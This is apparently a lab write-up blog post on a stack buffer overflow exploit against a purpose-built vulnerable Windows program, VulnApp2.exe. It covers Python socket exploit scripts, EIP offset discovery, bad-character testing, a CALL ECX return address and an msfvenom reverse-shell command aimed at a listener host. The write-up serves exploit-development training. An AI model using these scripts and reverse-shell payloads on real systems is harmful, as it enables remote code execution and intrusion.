Back to Blog
Exploit Development

Exploiting VulnApp2.exe: Same Same but Different

Exploiting VulnApp2.exe: Same Same but Different

In the last post, we walked through a classic stack overflow. This time, we're tackling VulnApp2.exe. At first glance, it appears to be the same challenge, but there's one critical difference.

After finding our EIP offset, we discover that we don't have enough space on the stack to store our shellcode.

In this writeup, we'll explore how to overcome this limitation by inspecting the CPU registers and finding a new location for our payload to get a reverse shell.

Fuzzing and Confirming the Crash

We begin by using a simple proof-of-concept script that sends 2560 "A"s (0xA00 bytes) to the application.

#!/usr/bin/python
import socket
import sys

try:
  server = sys.argv[1]
  port = 7002
  
  buffer = b"A" * 0xA00
 
  print("Sending evil buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buffer)
  s.close()
  
  print("Done!")
  
except socket.error:
  print("Could not connect!")

Examining the crash reveals that we control the EIP register, which gives us the ability to hijack the execution flow.

Screenshot 2025-10-27 at 8.42.57 PM

Finding the EIP Offset

As with standard buffer overflows, we need to find the exact offset of the bytes that overwrite EIP. I used msf-pattern_create -l 3000 to generate a 3000-byte unique pattern and modified my Python script to send this pattern instead of the "A"s.

We trigger the crash again and observe the debugger. This time, EIP is overwritten with the value 72433372.

Screenshot 2025-10-27 at 8.44.56 PM

We use msf-pattern_offset -l 3000 -q 72433372 to calculate the exact offset, which is 2080 bytes. To determine how much space we have available for our shellcode, we add placeholder bytes (C characters) after the EIP overwrite.

Screenshot 2025-10-27 at 8.45.39 PM

We verify that the offset is correct at 2080 bytes by modifying our script:

  filler = b"A" * 2080
  eip = b"B" * 4
  shellcode = b"C" * 700
  buffer = filler + eip + shellcode

When we run it, EIP is overwritten with four Bs (42424242), confirming that we have precise control over the instruction pointer.

Screenshot 2025-10-27 at 8.47.00 PM

Finding a New Home for Our Shellcode

When examining how much space we have for our shellcode after overwriting EIP, we discover we only have 12 bytes available (represented by the C characters or hex value 43).

Screenshot 2025-10-27 at 8.49.21 PM

This doesn't provide enough space for a reverse shell payload, which is a key difference from the previous writeup. However, by examining the ECX register, we discover that it points to the beginning of our entire filler buffer (the 2080 bytes of "A"s).

Screenshot 2025-10-29 at 3.40.08 PM

This means instead of using the standard filler + EIP + shellcode structure, we need to embed our shellcode within the filler portion and redirect execution to ECX, which points to that buffer.

Testing for Bad Characters

Before we can craft our shellcode, we must identify any bad characters that might corrupt our payload. Initially, I attempted to test bad characters by placing the test set after the filler and before the EIP overwrite.

Screenshot 2025-10-29 at 2.29.31 PM

However, this approach didn't work because the bad characters interfered with triggering the access violation required to overwrite EIP.

Since we only have 12 bytes available after EIP, I modified the standard bad character test template to use 12-byte segments. This made it easier to test each group systematically.

  filler = b"A" * 2080
  eip = b"B" * 4
  badchars = (
    b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d")
    # b"\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a")
    # b"\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27")
    # b"\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34")
    # b"\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41")
    # b"\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e")
    # b"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b")
    # b"\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68")
    # b"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75")
    # b"\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82")
    # b"\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f")
    # b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c")
    # b"\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9")
    # b"\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6")
    # b"\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3")
    # b"\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0")
    # b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd")
    # b"\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea")
    # b"\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7")
    # b"\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
  buffer = filler + eip + badchars

After systematically testing each segment, we identified 2 bad characters: \x3b and \x45.

Finding Our Return Address (CALL ECX)

After identifying our bad characters, we need to find a memory address to overwrite EIP with. This address must point to an instruction that will redirect execution to our shellcode. Since ECX points to our buffer, we need an instruction that transfers control to ECX.

The ideal instructions for this are JMP ECX or CALL ECX. We use msf-nasm_shell to find the opcodes for these instructions.

  • JMP ECX: FFE1
  • CALL ECX: FFD1

Next, we identify the memory range of VulnApp2 (14800000 - 14816000) and verify that it doesn't have any memory protections (such ASLR or DEP) that would prevent us from executing code in this region.

Screenshot 2025-10-29 at 4.56.30 PM

We search for the JMP ECX opcodes (s -b 14800000 14816000 0xFF 0xE1) but find no matching instructions in the application. However, searching for CALL ECX opcodes (s -b 14800000 14816000 0xFF 0xD1) reveals two instances.

Screenshot 2025-10-29 at 10.02.58 AM

One of those addresses contains null bytes in its representation, which would break our exploit, so we use the CALL ECX instruction located at 14802e11 instead. We verify the opcodes at that memory address to confirm it contains the CALL ECX instruction (FF D1).

Screenshot 2025-10-29 at 10.04.09 AM

We modify our proof-of-concept script to overwrite EIP with the memory address of the CALL ECX instruction.

  # Calculates filler length dynamically
  filler_length = 2080 - len(shellcode)
  filler = b"A" * filler_length

  # 4 byte EIP Overwrite
  eip = b"\x11\x2e\x80\x14" # 14802e11 CALL ECX
  
  # Correct buffer structure 
  buffer = filler + eip

We set a breakpoint at 14802e11 (the CALL ECX instruction) and run our script. When we hit the breakpoint, this confirms that EIP has been successfully overwritten with the address of CALL ECX. Dumping the contents of ECX (dc ecx) confirms it points to our buffer filled with 'A's:

Screenshot 2025-10-29 at 3.04.14 PM

The Final Exploit and Getting a Shell

Now we're ready to get our shell. We generate a reverse TCP shell payload using msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.163 LPORT=443 -b "\x3b,\x45,\x00" -f python -v shellcode, excluding our identified bad characters and null bytes.

We'll also use a NOP sled (\x90 instructions) at the beginning of our filler buffer. When EIP is redirected to CALL ECX and execution jumps into our buffer, the NOP sled ensures that if execution doesn't land exactly at the start of our shellcode, it will "slide" through the NOPs until it reaches our payload.

shellcode += b""

try:
  server = sys.argv[1]
  port = 7002
  
  # Calculates filler length dynamically
  filler_length = 2080 - len(shellcode)
  # NOP sled
  filler = b"\x90" * filler_length

  # 4 byte EIP Overwrite
  eip = b"\x11\x2e\x80\x14" # 14802e11 CALL ECX
  
  # Correct buffer structure 
  buffer = filler + shellcode + eip 

Note: My final buffer structure was NOP Sled + shellcode + EIP. Since ECX points to the very beginning of the buffer, shellcode + NOP Sled + EIP would also work—as long as execution lands anywhere in the NOP sled after CALL ECX, the CPU will slide through the NOPs until it reaches the shellcode.

Screenshot 2025-10-29 at 3.21.47 PM

Conclusion

We've successfully completed the exploit! This scenario builds upon the classic stack overflow but introduces a critical constraint: we only have 12 bytes of space on the stack after overwriting EIP, which is insufficient for a reverse shell payload.

By analyzing the CPU registers at the time of the crash, we discovered that ECX pointed to the start of our 2080-byte filler buffer. This insight fundamentally changed our exploit strategy. Instead of the standard filler + EIP + shellcode structure, we embedded our shellcode within the filler portion, using a NOP Sled + shellcode + EIP structure.

We then searched for a ROP gadget that would redirect execution to our payload. Finding a CALL ECX instruction at address 14802e11, we overwrote EIP with that address to successfully divert the program's execution flow. When the program executed CALL ECX, it jumped into our buffer, slid through the NOP sled, and executed our shellcode, giving us a reverse shell.

This exercise demonstrates why it's critical to analyze the entire CPU state when an exploit path seems blocked. When the stack doesn't provide enough space, the registers might just be pointing to the solution.